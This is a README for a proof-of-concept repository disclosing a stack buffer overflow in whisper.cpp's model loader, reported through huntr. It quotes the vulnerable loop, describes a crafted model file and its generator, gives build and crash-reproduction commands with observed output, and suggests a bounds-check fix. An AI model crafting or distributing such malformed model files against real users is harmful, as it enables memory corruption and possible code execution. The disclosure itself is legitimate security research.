ybgwon96's picture
Upload 4 files
339067e verified
|
Raw
History Blame Contribute Delete
2.73 kB
metadata
license: mit
tags:
  - security
  - poc
  - huntr
  - model-file-vulnerability

PoC — whisper.cpp unchecked n_dims stack buffer overflow

Proof-of-concept model file for a huntr Model File Vulnerabilities report against ggml-org/whisper.cpp @ 6fc7c33.

This repository contains a deliberately malformed GGML model file for authorized security research (responsible disclosure via huntr). It is not a usable model.

The bug (summary)

whisper_model_load() (and the sibling whisper_vad_init_with_params()) read a per-tensor int32_t n_dims from the model file and use it, unchecked, as the bound of a loop that writes into a fixed 4-element stack array int32_t ne[4]:

// src/whisper.cpp  (whisper_model_load)
:1874  read_safe(loader, n_dims);          // attacker-controlled
:1883  int32_t ne[4] = { 1, 1, 1, 1 };     // fixed 4-element STACK array
:1884  for (int i = 0; i < n_dims; ++i) {
:1885      read_safe(loader, ne[i]);       // OOB stack write for n_dims > 4
:1886      nelements *= ne[i];
:1887  }

There is no n_dims <= GGML_MAX_DIMS check before the loop. All shape/size validation runs after it. A crafted model file with a large n_dims writes an attacker-controlled sequence of 4-byte words far past ne[4], smashing the stack (CWE-787). The identical pattern exists at the VAD loader (whisper_vad_init_with_params, src/whisper.cpp:5016/5025/5026).

Files

file description
poc_whisper_ndims.bin valid whisper "tiny" header + one tensor record with n_dims=20000 and a run of 0x41414141 words. Crashes whisper-cli with SIGSEGV.
gen_whisper_ndims_poc.py pure-python generator (documents the exact header layout).
CRASH_PROVEN.md build commands + reproduced crash (attacker sentinel bytes in the fault address).

Reproduce

cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \
      -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \
      -DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all"
cmake --build build-rel --target whisper-cli
./build-rel/bin/whisper-cli -m poc_whisper_ndims.bin -f /dev/null

Observed (default Release, no sanitizer):

whisper_model_load:  CPU total size = 77.11 MB      <- model built; enters the tensor-read loop
stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149)   <- attacker's 0x41414141 bytes in the fault address
exit=139 (SIGSEGV)

See CRASH_PROVEN.md.

Disclosure

Reported privately via huntr. Suggested fix: if (n_dims < 0 || n_dims > GGML_MAX_DIMS) return false; before the fill loop, at both call sites.